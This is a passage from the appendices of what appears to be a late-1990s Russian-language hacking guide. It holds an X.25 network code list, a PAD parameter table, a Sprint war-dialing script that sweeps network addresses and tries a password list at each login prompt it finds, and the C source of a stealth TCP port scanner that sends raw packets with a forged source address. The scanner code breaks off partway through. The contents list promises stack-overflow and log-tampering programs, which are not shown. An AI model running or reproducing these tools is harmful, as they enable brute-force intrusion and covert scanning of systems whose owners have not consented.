6. Безруков Н.Н., Компьютерная Вирусология. - Киев: КHИГА, 1989.
7. Сеть РОСПАК. Руководство пользователя.
8. Ю. Блэк. Сети ЭВМ: Протоколы, стандарты, интерфейсы: Пер. с англ.-
М.: Мир, 1990.
9. Мартин Дж. Вычислительные сети и распределённая обработка данных.
Пер. с англ. - М.: Финансы и статистика, 1985.
10. Эви Немет, Гарт Снайдер, Скотт Сиббас, Трент Р. Хейн. UNIX:
руководство системного администратора: Пер. с англ.-К.: BHV, 1996.
11. Building Internet Firewalls by D.Brent Charman and
Elizabeth D. Zwicky. Copyright (c) 1995 O'Relly & Associates, Inc.
---
Copyright (c) 1996-99 Denis Zhitenev
All Rights Reserved
Time: 04:05:09 Date: 06/20/2000
Содержание.
Приложение 1. DNIC некоторых сетей.
Приложение 2. Параметры ПАД (X.3).
Приложение 3. Пример скрипта для сканирования Sprint.
Приложение 4. Программа сканирования TCP портов.
Приложение 5. Некоторые OS и их приглашения.
Приложение 6. Пример программы для срыва стека.
Приложение 7. Программа модификации log-файлов Unix.
Приложение 8. Программа просмотра информации Dialup соединений Windows.
Приложение 1. DNIC некоторых сетей.
--- begin networks.txt ---
X.25 Networks sorted at DNIC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DNIC Country Network
2022 Greece HELPAK
2041 Netherlands DATANET
2062 Belgium DCS
2080 France TRANSPAC
2080 Guadeloupe TRANSPAC
2080 Guiana (french) TRANSPAC
2080 Martinique TRANSPAC
2080 Reunion TRANSPAC
2081 NTI
2141 Spain TIDA
2145 Spain IBERPAC
2160 Hungary NEDIX
2161 DATEX-P
2201 Croatia CROAPAC
2201 Slovenia SIPAX.25
2201 Yugoslavia YUGOPAC
2222 Italy ITAPAC
2227 Italy ITALCABLE GW
2284 Switzerland TELEPAC
2301 Czech.Rep. EUROTEL
2301 Slovak.Rep. EUROTEL
2322 Austria DATEX-P
2329 Austria RADIOAUSTRIA
2341 UNITED KINGDOM BT
2342 UNITED KINGDOM PSS
2350 UNITED KINGDOM MERCURY
2351 UNITED KINGDOM MERCURY
2382 Denmark DATAPAK
2402 Sweden DATAPAK
2403 Sweden DATAPAC
2422 Norway DATAPAK
2442 Finland DATAPAK
2500 Russia ROSPACK
2501 Russia RO-SPRINT
2502 Russia IASNET
2503 Russia MMTL SOVPACK
2504 Russia Infotel
2506 Russia ROSNET
2507 Russia ISTOK-K
2508 Russia TRANSINFORM
2510 Russia SOVAMNET
2511 Russia EDITRANS
2550 Ukraine UKRPAC
2551 Ukraine BKCNET
2570 Belarusia BELPACK
2601 Poland POLPAC
2624 Germany DATEX-P
2680 Portugal TELEPAC
2704 Luxembourg LUXPAC
2724 Ireland EIRPAC
2740 Iceland ICEPAC
2802 Cyprus CYTAPAC
2821 Georgia IBERIAPAC
2841 Bulgaria BULPAC
2862 Turkey TURPAC
2863 Turkey TURPAC
2931 Slovenia SIPAX 25
2945 Andorra ANDORPAC
3020 Canada DATAPAC
3025 TELEGLOBE
3101 U.S.A. incl. Hawaii AT&T WORLDNET
3103 U.S.A. incl. Hawaii ITT-UDTS
3104 U.S.A. incl. Hawaii MCII/WUI
3106 U.S.A. incl. Hawaii TYMNET
3107 --------''--------- AT&T WORLDNET
3110 --------''--------- SPRINTNET
3113 --------''--------- RCAG REM.
3118 --------''--------- GRAPHNET
3119 --------''--------- TRT
3124 --------''--------- FTCC
3126 --------''--------- ADP/AUTON.
3134 --------''--------- AT&T ACCUNET
3136 --------''--------- GEISCO DATA
3137 --------''--------- INFONET
3140 --------''--------- CONNET
3150 --------''--------- GLOBNET
3151 --------''--------- DATAAMERICA
3152 Hawaii GTE
3300 Dominican Rep. UDTS
3300 Puerto Rico,Qatar,Sudan UDTS
3300 US-Virgin Isl. UDTS
3340 Mexico TELEPAC
3503 Bermuda BERMUDANET
3701 Dominican Rep. CODEPAC
3740 Trinidad/Tobago TEXDAT
3745 DATANET
4042 India GPSS
4131 Sri Lanka DATAPAC
4201 Saudi Arabia ALWASEET
4243 Un.Arab.Emirates EMDAN
4251 Israel ISRANET
4263 Bahrein BAHNET
4401 Japan DDX-P
4408 VENUS-P
4500 Korea Rep. HINET-P
4501 Korea Rep. DACOM-NET
4542 Hong Kong INTPAK
4545 Hong Kong DATAPAC
4546 INET
4550 Macao MACAOPAC
4602 China CHINAPAC
4876 Taiwan PACNET III
4877 Taiwan UDAS
5021 Malaysia MAYPAC
5052 Australia AUSTPAC
5053 OTC (A)
5101 Indonesia INDOSAT
5151 CAPWIRE
5152 PHILCOM
5154 Philippines GMCR
5156 Philippines EASTN./ETPI
5201 TYAILAND THAIPAC
5202 TYAILAND THAIPAC II
5301 New Zealand PACNET
5460 New Caledonia TOMPAC
5470 Polynesia(french) DOMPAC
6020 Egypt,Kuwait,Oman ARENTO
6041 Marocco MAGRIPAC
6050 TUNISTA
6081 Senegal SENPAC
6282 Gabon GABONPAC
6550 Sout Africa SAPONET-P
7120 Costa Rica RACSAPAC
7160 Peru PERUNET
7220 Argentina UDTS
7222 Argentina ARPAC
7240 Brazil INTERDATA
7241 RENPAC
7302 Chile RNTD-CHILE
7303 Chile CILEPAC
7305 TOMNET
7320 Colombia DAPAQ INT.
7342 Venezuela CANTV
---
Приложение 2. Параметры ПАД (X.3).
--- begin x3par.txt ---
Параметры ПАД (X.3).
з___б________________________________________________________________©
Ё N Ё описание параметра и возможные значения параметра Ё
ц___е________________________________________________________________╢
Ё 1.Ё вызов средств ПАД путем выхода из режима "передача данных" Ё
Ё Ё 0 - вызов невозможен Ё
Ё Ё 1 - вызов возможен по вводу символа CTRL/P Ё
ц___е________________________________________________________________╢
Ё 2.Ё установление режима выдачи ПАД эха на символы, вводимые с Ё
Ё Ё терминала Ё
Ё Ё 0 - нет эха Ё
Ё Ё 1 - эхо есть Ё
ц___е________________________________________________________________╢
Ё 3.Ё выбор режима завершения сборки пакета данных Ё
Ё Ё 0 - установить режим передачи пакета по его Ё
Ё Ё заполнению Ё
Ё Ё 1 - установить режим передачи пакета по Ё
Ё Ё символу "*" Ё
Ё Ё 2 - установить режим передачи пакета по Ё
Ё Ё символу CR Ё
Ё Ё 4 - установить режим передачи пакета по Ё
Ё Ё символу ESC, DEL, END, ACK Ё
Ё Ё 6 - установить режим передачи пакета по Ё
Ё Ё символу CR, ESC, DEL, END, ACK Ё
Ё Ё 126 - установить режим передачи пакета по Ё
Ё Ё любому управляющему символу, кроме Ё
Ё Ё символов редактирования при включенном Ё
Ё Ё режиме редактирования Ё
ц___е________________________________________________________________╢
Ё 4.Ё выбор времени задержки таймера Ё
Ё Ё 0 - отсутствие таймаута Ё
Ё Ё 1-255 - установить по выбору любое время от 1 Ё
Ё Ё до 255 двадцатых долей секунды Ё
Ё Ё (шаг 1/20 с) после ввода символа, по Ё
Ё Ё истечении которого посылается пакет Ё
Ё Ё данных Ё
ц___е________________________________________________________________╢
Ё 5.Ё управление со стороны ПАД потоком данных от терминала Ё
Ё Ё 0 - управление выключено, управляющие символы Ё
Ё Ё CTRL/Q и CTRL/S передается как данные Ё
Ё Ё 1 - управление потоком данных терминала с Ё
Ё Ё помощью символов CTRL/Q и CTRL/S в режимах Ё
Ё Ё передачи данных и командном Ё
ц___е________________________________________________________________╢
Ё 6.Ё управление выдачей на терминал пользователя сообщений ПАД Ё
Ё Ё 0 - сообщения ПАД и "подсказка" не выводятся на Ё
Ё Ё терминал Ё
Ё Ё 1 - сообщения ПАД выводится на терминал Ё
Ё Ё 4 - "подсказка" ПАД выводятся на терминал Ё
Ё Ё 5 - сообщения и "подсказка" ПАД выводятся на Ё
Ё Ё терминал Ё
ц___е________________________________________________________________╢
Ё 7.Ё выбор способа реакции ПАД получение сигнала BREAK от терминала Ё
Ё Ё 0 - ПАД не реагирует на сигнал BREAK Ё
Ё Ё 1 - ПАД передает на удаленную сторону пакет Ё
Ё Ё "прерывание" Ё
Ё Ё 2 - ПАД передает на удаленную сторону пакет Ё
Ё Ё "сброс" Ё
Ё Ё 4 - ПАД передает пакет индикации сигнала BREAK Ё
Ё Ё на удаленную сторону Ё
Ё Ё 8 - ПАД воспринимает сигнал BREAK как переход в Ё
Ё Ё командный режим Ё
Ё Ё 21 - данные, принимаемые из сети, сбрасываются, Ё
Ё Ё а на удаленную станцию передается пакет Ё
Ё Ё прерывания и пакет индикации сигнала BREAK Ё
ц___е________________________________________________________________╢
Ё 8.Ё сброс ПАД данных, принимаемых из сети Ё
Ё Ё 0 - данные, принимаемые из сети, выводятся на Ё
Ё Ё терминал Ё
Ё Ё 1 - данные, принимаемые из сети, сбрасываются Ё
Ё Ё без вывода на терминал Ё
ц___е________________________________________________________________╢
Ё 9.Ё заполнение после возврата каретки Ё
Ё Ё 0 - нет вставки заполняющих символов после Ё
Ё Ё возврата каретки Ё
Ё Ё 1-255 - число символов заполнения, вставляемых ПАД Ё
Ё Ё после возврата каретки для заполнения Ё
Ё Ё промежутка времени, в течение которого Ё
Ё Ё выполняется перевод строки; используется Ё
Ё Ё для обеспечения нормальной работы терми- Ё
Ё Ё налов с бумажной лентой Ё
ц___е________________________________________________________________╢
Ё10.Ё формирование строки (не реализован) Ё
Ё Ё 0 - отсутствие формирования строки Ё
Ё Ё 1-255 - число символов, после которого вставляется Ё
Ё Ё символ CR, что позволяет ограничивать Ё
Ё Ё количество символов в строке, выводимой на Ё
Ё Ё терминал Ё
ц___е________________________________________________________________╢
Ё11.Ё скорость подключения терминала Ё
Ё Ё 3 - 1200 бит/с установление согласно резуль- Ё
Ё Ё 4 - 600 бит/с тату автоматического определе- Ё
Ё Ё 12 - 2400 бит/с ния скорости одного из пере- Ё
Ё Ё 13 - 4800 бит/с численных значений Ё
Ё Ё 14 - 9600 бит/с Ё
ц___е________________________________________________________________╢
Ё12.Ё управление потоком данных со стороны ПАД Ё
Ё Ё 0 - управляющие символы CTRL/Q, CTRL/S пере- Ё
Ё Ё даются как данные, ПАД не осуществляет Ё
Ё Ё управление потоком данных Ё
Ё Ё 1 - ПАД осуществляет управление потоком данных Ё
Ё Ё с помощью символов CTRL/Q, CTRL/S Ё
ц___е________________________________________________________________╢
Ё13.Ё вставка символа "новая строка" Ё
Ё Ё 0 - символ LF не вставляется Ё
Ё Ё 1 - ПАД вставляет символ LF после каждого Ё
Ё Ё символа CR в потоке данных , выводимых на Ё
Ё Ё терминал Ё
Ё Ё 2 - ПАД вставляет символ LF после символа CR в Ё
Ё Ё потоке данных от терминала Ё
Ё Ё 4 - ПАД передает символ LF после возврата эха Ё
Ё Ё на символ CR на терминал Ё
Ё Ё 5 - ПАД вставляет символ LF после символа CR в Ё
Ё Ё потоке данных на терминал Ё
Ё Ё 6 - ПАД вставляет символ LF после символа CR в Ё
Ё Ё потоке данных от терминала и после возвра- Ё
Ё Ё та эхо на CR на терминал Ё
Ё Ё 7 - ПАД вставляет символ LF после символа CR в Ё
Ё Ё потоке данных от терминала и выводимых на Ё
Ё Ё терминал и после возврата эха на CR на Ё
Ё Ё терминал Ё
ц___е________________________________________________________________╢
Ё14.Ё заполнение после символа "новая строка" Ё
Ё Ё 0 - нет вставки заполняющих символов после LF Ё
Ё Ё -255 - число символов заполнения , вставляемых ПАД Ё
Ё Ё символов LF для заполнения промежутка Ё
Ё Ё времени, в течение которого отрабатывается Ё
Ё Ё LF; используется для обеспечения нормаль- Ё
Ё Ё ной работы терминалов с бумажной лентой Ё
ц___е________________________________________________________________╢
Ё15.Ё редактирование в режиме передачи данных Ё
Ё Ё 0 - в режиме передачи данных функции редакти- Ё
Ё Ё рования не используются, символы редакти- Ё
Ё Ё рования передаются как данные Ё
Ё Ё 1 - функции редактирования используются ПАД, Ё
Ё Ё символы редактирования определяются пара- Ё
Ё Ё метрами 16,17,18, 19 Ё
ц___е________________________________________________________________╢
Ё16.Ё символ удаления последнего введенного символа Ё
Ё Ё 0-127 - код символа, используемый для удаления Ё
Ё Ё последнего введенного символа (как правило, Ё
Ё Ё 8 - BACKSPACE, или СTRL/H) Ё
ц___е________________________________________________________________╢
Ё17.Ё символ удаления последней введенной строки Ё
Ё Ё 0-127 - код символа, используемый для удаления Ё
Ё Ё строки (ка правило, 24 CTRL/X) Ё
ц___е________________________________________________________________╢
Ё18.Ё символ выдачи на терминал последней введенной строки Ё
Ё Ё 0-127 - код символа, используемый для вывода строки, Ё
Ё Ё введенной пользователем (как правило, Ё
Ё Ё 18 CTRL/R) Ё
ц___е________________________________________________________________╢
Ё19.Ё редактирование в командном режиме Ё
Ё Ё 0 - функция редактирования в командном режиме Ё
Ё Ё отсутствует Ё
Ё Ё 1 - редактирование в командном режиме для Ё
Ё Ё терминалов с бумажной лентой Ё
Ё Ё 2 - редактирование в командном режиме для видео- Ё
Ё Ё терминалов Ё
ц___е________________________________________________________________╢
Ё20.Ё маскирование эхо Ё
Ё Ё 0 - маскирование эхо отсутствует Ё
Ё Ё 1 - эхо не выдается на CR Ё
Ё Ё 2 - эхо не выдается на LF Ё
Ё Ё 64 - эхо не выдается на символы определяемые Ё
Ё Ё параметрами 16,17,18 Ё
Ё Ё 128 - эхо не выдается на символ DEL и все оста- Ё
Ё Ё льные управляющие символы, не указанные выше Ё
ц___е________________________________________________________________╢
Ё21.Ё проверка четности Ё
Ё Ё 0 - ПАД принимает данные в формате 8N Ё
Ё Ё 1 - ПАД принимает данные в формате 8N, при об- Ё
Ё Ё работке старший бит не анализируется Ё
Ё Ё 2 - ПАД принимает данные в формате 7Е1 Ё
ц___е________________________________________________________________╢
Ё22.Ёуправление страницей Ё
Ё Ё 0 - управление страницей отсутствует Ё
Ё Ё 1-255 - условие управления страницей посылается ПАД Ё
Ё Ё на терминал после указанного числа символов Ё
Ё Ё LF Ё
ю___а________________________________________________________________ы
Примечание:
Значения параметров могут являться комбинацией (суммой) из значений
приведенных в таблице.
---
Приложение 3. Пример скрипта для сканирования Sprint.
--- begin sprint.scr ---
;
; Скрипт для сканирования Sprint by /DZh, 1996.
; Сопутствующие файлы :
; netfile - Начальный адрес
; success - Пустой файл для записи номеров удачных соединений
; passwd - информация для подбора (одно слово - одна строка)
;
Integer netnumber, First
String netstring, pswstring
Open "netfile"
Read netstring
Atoi netstring, netnumber
First = 0
Print "Resuming from netnumber ",netnumber
Procedure DialIt
hangup
delay 10
While not connected
dial "1"
EndWhile
put "^M"
waitfor "TERMINAL=",20
IF not found
dialit
EndIF
put "@D^M"
EndPROC
Procedure TryPass
open "passwd"
REPEAT
read pswstring
put pswstring
waitfor "sword",10
IF found
read pswstring
put pswstring
EndIF
waitfor "ogin:","UserID","sername","name?","name =>",8
UNTIL not found
EndPROC
Procedure TryHost
waitfor "[Y]/N)?","текст N >","Multi Host>","ogin:","UserID","sername","name?","name =>",10
SWITCH found
Case 0: delay 1
put "@^M"
waitfor "@",10
IF not found
DialIt
EndIF
put "BYE^M"
Case 1: put "^M"
TryHost
Case 2: put "N^M"
TryHost
Case 3: put "Q^M"
waitfor "@",10
IF not found
DialIt
EndIF
Case 4: TryPass
Case 5: TryPass
Case 6: TryPass
Case 7: TryPass
Case 8: TryPass
EndSWITCH
EndPROC
Procedure TryAddr
first=first+1
IF first > 100
script "rosnet.scr"
EndIF
While connected
create "netfile"
write netnumber
put netnumber
waitfor "DISCONNECTED","CONNECTED",10
SWITCH found
Case 0: delay 1
put "@^M"
waitfor "@",10
IF not found
DialIt
EndIF
put "BYE^M"
Case 1:
Case 2: append "success"
write netnumber
put ""
TryHost
put "STAT"
waitfor "NOT CONNECTED",3
IF not found
dialit
EndIF
EndSWITCH
netnumber=netnumber+1
EndWhile
dialit
TryAddr
EndPROC
logon
dialit
TryAddr
logoff
---
Приложение 4. Программа сканирования TCP портов.
--- begin resolve.c ---
/*
* resolve.c
* by Uriel Maimon (lifesux@cox.org)
*/
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netinet/in.h>
int resolve( const char *name, struct sockaddr_in *addr, int port )
{
struct hostent *host;
/* clear everything in case I forget something */
bzero(addr,sizeof(struct sockaddr_in));
if (( host = gethostbyname(name) ) == NULL ) {
#ifndef RESOLVE_QUIET
fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
perror("");
#endif
return -1;
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
addr->sin_port = htons(port);
return 0;
}
int resolve_rns( char *name , unsigned long addr )
{
struct hostent *host;
unsigned long address;
address = addr;
host = gethostbyaddr((char *)&address,4,AF_INET);
if (!host) {
#ifndef RESOLVE_QUIET
fprintf(stderr,"unable to resolve host \"%s\" -- ",inet_ntoa(addr));
perror("");
#endif
return -1;
}
strcpy(name,host->h_name);
return 0;
}
unsigned long addr_to_ulong(struct sockaddr_in *addr)
{
return addr->sin_addr.s_addr;
}
/*
* EOF
*/
--- begin tcp_pkt.c ---
/*
* tcp_pkt.c
* by Uriel Maimon (lifesux@cox.org)
*/
/* remove inlines for smaller size but lower speed */
#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)
/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/*
* HEXDUMP()
*
* not too much to explain
*/
inline void HEXDUMP(unsigned len, unsigned char *data)
{
unsigned i;
for (i=0;i<len;i++) printf("%02X%c",*(data+i),((i+1)%16) ? ' ' : '\n');
}
/*
* tcpip_send()
*
* sends a totally customized datagram with TCP/IP headers.
*/
inline int tcpip_send(int socket,
struct sockaddr_in *address,
unsigned long s_addr,
unsigned long t_addr,
unsigned s_port,
unsigned t_port,
unsigned char tcpflags,
unsigned long seq,
unsigned long ack,
unsigned win,
char *datagram,
unsigned datasize)
{
struct pseudohdr {
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned int tcplength;
};
unsigned char packet[2048];
struct iphdr *ip = (struct iphdr *)packet;
struct tcphdr *tcp = (struct tcphdr *)(packet+IPHDRSIZE);
struct pseudohdr *pseudo = (struct pseudohdr *)(packet+IPHDRSIZE-PSEUDOHDRSIZE);
unsigned char *data = (unsigned char *)(packet+IPHDRSIZE+TCPHDRSIZE);
/*
* The above casts will save us a lot of memcpy's later.
* The pseudo-header makes this way become easier than a union.
*/
memcpy(data,datagram,datasize);
memset(packet,0,TCPHDRSIZE+IPHDRSIZE);
/* The data is in place, all headers are zeroed. */
pseudo->saddr = s_addr;
pseudo->daddr = t_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->tcplength = htons(TCPHDRSIZE+datasize);
/* The TCP pseudo-header was created. */
tcp->th_sport = htons(s_port);
tcp->th_dport = htons(t_port);
tcp->th_off = 5; /* 20 bytes, (no options) */
tcp->th_flags = tcpflags;
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_win = htons(win); /* we don't need any bigger, I guess. */
/* The necessary TCP header fields are set. */
tcp->th_sum = in_cksum(pseudo,PSEUDOHDRSIZE+TCPHDRSIZE+datasize);
memset(packet,0,IPHDRSIZE);
/* The pseudo-header is wiped to clear the IP header fields */
ip->saddr = s_addr;
ip->daddr = t_addr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = random()%1996;
ip->protocol = IPPROTO_TCP; /* should be 6 */
ip->tot_len = htons(IPHDRSIZE + TCPHDRSIZE + datasize);
ip->check = in_cksum((char *)packet,IPHDRSIZE);
/* The IP header is intact. The packet is ready. */
#ifdef TCP_PKT_DEBUG
printf("Packet ready. Dump: \n");
#ifdef TCP_PKT_DEBUG_DATA
HEXDUMP(IPHDRSIZE+TCPHDRSIZE+datasize,packet);
#else
HEXDUMP(IPHDRSIZE+TCPHDRSIZE,packet);
#endif
printf("\n");
#endif
return sendto(socket, packet, IPHDRSIZE+TCPHDRSIZE+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr));
}
/*
* EOF
*/
--- begin scantcp.c ---
/*
* Port Scanning without the SYN flag / Uriel Maimon
* (lifesux@cox.org)
*/
#define RESOLVE_QUIET
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include "resolve.c"
#include "tcp_pkt.c"
#define STCP_VERSION "1.32"
#define STCP_PORT 1234 /* Our local port. */
#define STCP_SENDS 3
#define STCP_THRESHOLD 8
#define STCP_SLOWFACTOR 10
void banner(void)
{
printf("\nscantcp\n");
printf("version %s\n",STCP_VERSION);
}
void usage(const char *progname)
{
printf("\nusage: \n");
printf("%s <method> <source> <dest> <ports> <udelay> <delay> [sf]\n\n",progname);
printf("\t<method> : 0: half-open scanning (type 0, SYN)\n");
printf("\t 1: stealth scanning (type 1, FIN)\n");
printf("\t 2: stealth scanning (type 2, ACK)\n");
printf("\t<source> : source address (this host)\n");
printf("\t<dest> : target to scan\n");
printf("\t<ports> : ports/and or ranges to scan - eg: 21-30,113,6000\n");
printf("\t<udelay> : microseconds to wait between TCP sends\n");
printf("\t<delay> : seconds to wait for TCP replies\n");
printf("\t[sf] : slow-factor in case sends are dectected to be too fast\n\n");
}
unsigned char *dest_name;
unsigned char *spoof_name;
struct sockaddr_in destaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned long usecdelay;
unsigned waitdelay;
int slowfactor = STCP_SLOWFACTOR;
struct portrec /* the port-data structure */
{
unsigned n;
int state;
unsigned char ttl;
unsigned short int window;
unsigned long int seq;
char sends;
} *ports;
char *portstr;
unsigned char scanflags;
int done;
int rawsock; /* socket descriptors */
int tcpsock;
int lastidx = 0; /* last sent index */
int maxports; /* total number of ports */
void timeout(int signum) /* timeout handler */
{ /* this is actually the data */
int someopen = 0; /* analyzer function. werd. */
unsigned lastsent;
int checklowttl = 0;
struct portrec *p;
printf("* SCANNING IS OVER\n\n");
fflush(stdout);
done = 1;
for (lastsent = 0;lastsent<maxports;lastsent++)
{
p = ports+lastsent;
if (p->state == -1)
if (p->ttl > 64)
{
checklowttl = 1;
break;
}
}
/* the above loop checks whether there's need to report low-ttl packets */
for (lastsent = 0;lastsent<maxports;lastsent++)
{
p = ports+lastsent;
destaddr.sin_port = htons(p->n);
tcpip_send(rawsock,&destaddr,
spoof_addr,destaddr.sin_addr.s_addr,
STCP_PORT,ntohs(destaddr.sin_port),
TH_RST,
p->seq++, 0,
512,
NULL,
0);
} /* just RST -everything- sent */
/* this inclued packets a reply */
/* (even RST) was recieved for */
for (lastsent = 0;lastsent<maxports;lastsent++)
{ /* here is the data analyzer */
p = ports+lastsent;
switch (scanflags)
{
case TH_SYN:
switch(p->state)
{
case -1: break;
case 1 : printf("# port %d is listening.\n",p->n);
someopen++;
break;
case 2 : printf("# port %d maybe listening (unknown response).\n",
p->n);
someopen++;
break;
default: printf("# port %d needs to be rescanned.\n",p->n);
}
break;
case TH_ACK:
switch (p->state)
{
case -1:
if (((p->ttl < 65) && checklowttl) || (p->window >0))
{
printf("# port %d maybe listening",p->n);
if (p->ttl < 65) printf(" (low ttl)");
if (p->window >0) printf(" (big window)");
printf(".\n");
someopen++;
}
break;
case 1:
case 2:
printf("# port %d has an unexpected response.\n",
p->n);
break;
default:
printf("# port %d needs to be rescanned.\n",p->n);
}
break;
case TH_FIN:
switch (p->state)
{
case -1: break;
case 0 :
printf("# port %d maybe open.\n",p->n);
someopen++;
break;
default:
printf("# port %d has an unexpected response.\n",p->n);
}
}
}
printf("-----------------------------------------------\n");
printf("# total ports open or maybe open: %d\n\n",someopen);
free(ports);
exit(0); /* heh. */
}
int resolve_one(const char *name, unsigned long *addr, const char *desc)
{
struct sockaddr_in tempaddr;
if (resolve(name, &tempaddr,0) == -1) {
printf("error: can't resolve the %s.\n",desc);
return -1;
}
*addr = tempaddr.sin_addr.s_addr;
return 0;
}
void give_info(void)
{
printf("# response address : %s (%s)\n",spoof_name,inet_ntoa(spoof_addr));
printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
printf("# ports : %s\n",portstr);
printf("# (total number of ports) : %d\n",maxports);
printf("# delay between sends : %lu microseconds\n",usecdelay);
printf("# delay : %u seconds\n",waitdelay);
printf("# flood dectection threshold : %d unanswered sends\n",STCP_THRESHOLD);
printf("# slow factor : %d\n",slowfactor);
printf("# max sends per port : %d\n\n",STCP_SENDS);
}
int parse_args(int argc, char *argv[])
{
if (strrchr(argv[0],'/') != NULL)
argv[0] = strrchr(argv[0],'/') + 1;
if (argc < 7)
{
printf("%s: not enough arguments\n",argv[0]);
return -1;
}
switch (atoi(argv[1]))
{
case 0 : scanflags = TH_SYN; break;
case 1 : scanflags = TH_FIN; break;
case 2 : scanflags = TH_ACK; break;
default : printf("%s: unknown scanning method\n",argv[0]);
return -1;
}
spoof_name = argv[2];
dest_name = argv[3];
portstr = argv[4];
usecdelay = atol(argv[5]);
waitdelay = atoi(argv[6]);
if (argc > 7) slowfactor = atoi(argv[7]);
if ((usecdelay == 0) && (slowfactor > 0))
{
printf("%s: adjusting microsecond-delay to 1usec.\n");
usecdelay++;
}
return 0;
}
int build_ports(char *str) /* build the initial port-database */
{
int i;
int n;
struct portrec *p;
int sport;
char *s;
s = str;
maxports = 0;
n = 0;
while (*s != '\0')
{
switch (*s)
{
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
n *= 10;
n += (*s - '0');
break;
case '-':
if (n == 0) return -1;
sport = n;
n = 0;
break;
case ',':
if (n == 0) return -1;
if (sport != 0)
{
if (sport >= n) return -1;
maxports += n-sport;
sport = 0;
} else
maxports++;
n = 0;
break;
}
s++;
}
if (n == 0) return -1;
if (sport != 0)
{
if (sport >= n) return -1;
maxports += n-sport;
sport = 0;
}
else
maxports++;
maxports+=2;
if ((ports = (struct portrec *)malloc((maxports)*sizeof(struct portrec))) == NULL)
{
fprintf(stderr,"\nerror: not enough memory for port database\n\n");
exit(1);
}
s = str;
maxports = 0;
n = 0;
while (*s != '\0')
{
switch (*s)
{
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
n *= 10;
n += (*s - '0');
break;
case '-':
if (n == 0) return -1;
sport = n;
n = 0;
break;
case ',':
if (n == 0) return -1;
if (sport != 0)
{
if (sport >= n) return -1;
while (sport <= n)
{
for (i=0;i<maxports;i++)
if ((ports+i)->n == sport) break;
if (i < maxports-1 )
printf("notice: duplicate port - %d\n",sport);
else
{
(ports+maxports)->n = sport;
maxports++;
}
sport++;
}
sport = 0;
} else
{
for (i=0;i<maxports;i++)
if ((ports+i)->n == n) break;
if (i < maxports-1 )
printf("notice: duplicate port - %d\n",n);
else
{
(ports+maxports)->n = n;
maxports++;
}
}
n = 0;
break;
}
s++;
}
if (n == 0) return -1;
if (sport != 0)
{
if (sport >= n) return -1;
while (sport <= n)
{
for (i=0;i<maxports;i++)
if ((ports+i)->n == sport) break;
if (i < maxports-1 )
printf("notice: duplicate port - %d\n",sport);
else
{
(ports+maxports)->n = sport;
maxports++;
}
sport++;
}
sport = 0;
} else
{
for (i=0;i<maxports;i++)
if ((ports+i)->n == n) break;
if (i < maxports-1 )
printf("notice: duplicate port - %d\n",n);
else
{
(ports+maxports)->n = n;
maxports++;
}
}
printf("\n");
for (i=0;i<maxports;i++)
{
p = ports+i;
p->state = 0;
p->sends = 0;
}
return 0;
}
struct portrec *portbynum(int num)
{
int i = 0;
while ( ((ports+i)->n != num) && (i<maxports) ) i++;
if ( i == maxports ) return NULL;
return (ports+i);
}
struct portrec *nextport(char save)
{
struct portrec *p = ports;
int doneports = 0;
int oldlastidx = lastidx;
while (doneports != maxports)
{
p = ports+lastidx;
if ((p->state != 0) || (p->sends == STCP_SENDS))
{
doneports++;
lastidx++;
lastidx %= maxports;
}
else
break;
}
if (save)
lastidx = oldlastidx;
else
lastidx = (lastidx + 1) % maxports;
if (doneports == maxports) return NULL;
return p;
}
inline unsigned long usecdiff(struct timeval *a, struct timeval *b)
{
unsigned long s;
s = b->tv_sec - a->tv_sec;
s *= 1000000;
s += b->tv_usec - a->tv_usec;
return s; /* return the stupid microsecond diff */
}
void main(int argc, char *argv[])
{
int lastsent = 0;
char buf[3000];
struct iphdr *ip = (struct iphdr *)(buf);
struct tcphdr *tcp = (struct tcphdr *)(buf+sizeof(struct iphdr));
struct sockaddr_in from;
int fromlen;
struct portrec *readport;
fd_set rset, wset;
struct timeval waitsend, now, del;
unsigned long udiff;
int sendthreshold = 0;
banner();
if (parse_args(argc,argv))
{
usage(argv[0]);
return;
}
if (resolve_one(dest_name,
&dest_addr,
"destination host")) exit(1);
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;
if (resolve_one(spoof_name, &spoof_addr, "source host")) exit(1);
if ( build_ports(portstr) == -1)
{
printf("\n%s: bad port string\n",argv[0]);
usage(argv[0]);
return;
}
give_info();
